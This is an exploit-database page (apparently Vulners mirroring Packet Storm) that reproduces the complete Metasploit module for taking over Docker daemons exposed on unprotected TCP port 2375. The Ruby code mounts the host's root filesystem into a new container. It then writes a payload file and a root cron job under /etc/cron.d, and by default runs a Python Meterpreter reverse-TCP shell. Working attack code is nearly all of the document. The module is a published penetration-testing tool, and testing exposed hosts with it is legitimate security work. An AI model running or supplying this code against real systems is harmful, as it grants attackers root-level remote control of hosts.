Lucene search
K

Docker Daemon Unprotected TCP Socket

🗓️ 08 Sep 2017 00:00:00Reported by Martin PizalaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

Docker Daemon Unprotected TCP Socket Exploit allowing creating cron job

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit',  
'Description' => %q{  
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp  
with tls but without tls-auth), an attacker can create a Docker  
container with the '/' path mounted with read/write permissions on the  
host server that is running the Docker container. As the Docker  
container executes command as uid 0 it is honored by the host operating  
system allowing the attacker to edit/create files owned by root. This  
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of  
the host server.  
  
The Docker image should exist on the target system or be a valid image  
from hub.docker.com.  
},  
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre  
'License' => MSF_LICENSE,  
'References' => [  
['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'],  
['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']  
],  
'DisclosureDate' => 'Jul 25, 2017',  
'Targets' => [  
[ 'Python', {  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON,  
'Payload' => {  
'Compat' => {  
'ConnectionType' => 'reverse noconn none tunnel'  
}  
}  
}]  
],  
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(2375),  
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),  
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])  
]  
)  
end  
  
def check_image(image_id)  
vprint_status("Check if images exist on the target host")  
res = send_request_raw(  
'method' => 'GET',  
'uri' => normalize_uri('images', 'json')  
)  
return unless res and res.code == 200 and res.body.include? image_id  
  
res  
end  
  
def pull_image(image_id)  
print_status("Trying to pulling image from docker registry, this may take a while")  
res = send_request_raw(  
'method' => 'POST',  
'uri' => normalize_uri('images', 'create?fromImage=' + image_id)  
)  
return unless res.code == 200  
  
res  
end  
  
def make_container_id  
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?  
  
rand_text_alpha_lower(8)  
end  
  
def make_cmd(mnt_path, cron_path, payload_path)  
vprint_status('Creating the docker container command')  
echo_cron_path = mnt_path + cron_path  
echo_payload_path = mnt_path + payload_path  
  
cron_command = "python #{payload_path}"  
payload_data = payload.raw  
  
command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "  
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "  
command << "echo \"\" >> #{echo_cron_path} && "  
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"  
  
command  
end  
  
def make_container(mnt_path, cron_path, payload_path)  
vprint_status('Setting container json request variables')  
{  
'Image' => datastore['DOCKERIMAGE'],  
'Cmd' => make_cmd(mnt_path, cron_path, payload_path),  
'Entrypoint' => %w[/bin/sh -c],  
'HostConfig' => {  
'Binds' => [  
'/:' + mnt_path  
]  
}  
}  
end  
  
def del_container(container_id)  
send_request_raw(  
{  
'method' => 'DELETE',  
'uri' => normalize_uri('containers', container_id)  
},  
1 # timeout  
)  
end  
  
def check  
res = send_request_raw(  
'method' => 'GET',  
'uri' => normalize_uri('containers', 'json'),  
'headers' => { 'Accept' => 'application/json' }  
)  
  
if res.nil?  
print_error('Failed to connect to the target')  
return Exploit::CheckCode::Unknown  
end  
  
if res and res.code == 200 and res.headers['Server'].include? 'Docker'  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
# check if target is vulnerable  
unless check == Exploit::CheckCode::Vulnerable  
fail_with(Failure::Unknown, 'Failed to connect to the target')  
end  
  
# check if image is not available, pull it or fail out  
image_id = datastore['DOCKERIMAGE']  
if check_image(image_id).nil?  
fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?  
end  
  
# create required information to create json container information.  
cron_path = '/etc/cron.d/' + rand_text_alpha(8)  
payload_path = '/tmp/' + rand_text_alpha(8)  
mnt_path = '/mnt/' + rand_text_alpha(8)  
container_id = make_container_id  
  
# create container  
res_create = send_request_raw(  
'method' => 'POST',  
'uri' => normalize_uri('containers', 'create?name=' + container_id),  
'headers' => { 'Content-Type' => 'application/json' },  
'data' => make_container(mnt_path, cron_path, payload_path).to_json  
)  
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201  
  
print_status("The docker container is created, waiting for deploy")  
register_files_for_cleanup(cron_path, payload_path)  
  
# start container  
send_request_raw(  
{  
'method' => 'POST',  
'uri' => normalize_uri('containers', container_id, 'start')  
},  
1 # timeout  
)  
  
# wait until container stopped  
vprint_status("Waiting until the docker container stopped")  
res_wait = send_request_raw(  
'method' => 'POST',  
'uri' => normalize_uri('containers', container_id, 'wait'),  
'headers' => { 'Accept' => 'application/json' }  
)  
  
# delete container  
deleted_container = false  
if res_wait.code == 200  
vprint_status("The docker container has been stopped, now trying to remove it")  
del_container(container_id)  
deleted_container = true  
end  
  
# if container does not deploy, remove it and fail out  
unless deleted_container  
del_container(container_id)  
fail_with(Failure::Unknown, "The docker container failed to deploy")  
end  
print_status('Waiting for the cron job to run, can take up to 60 seconds')  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Sep 2017 00:00Current
0.1Low risk
Vulners AI Score0.1
34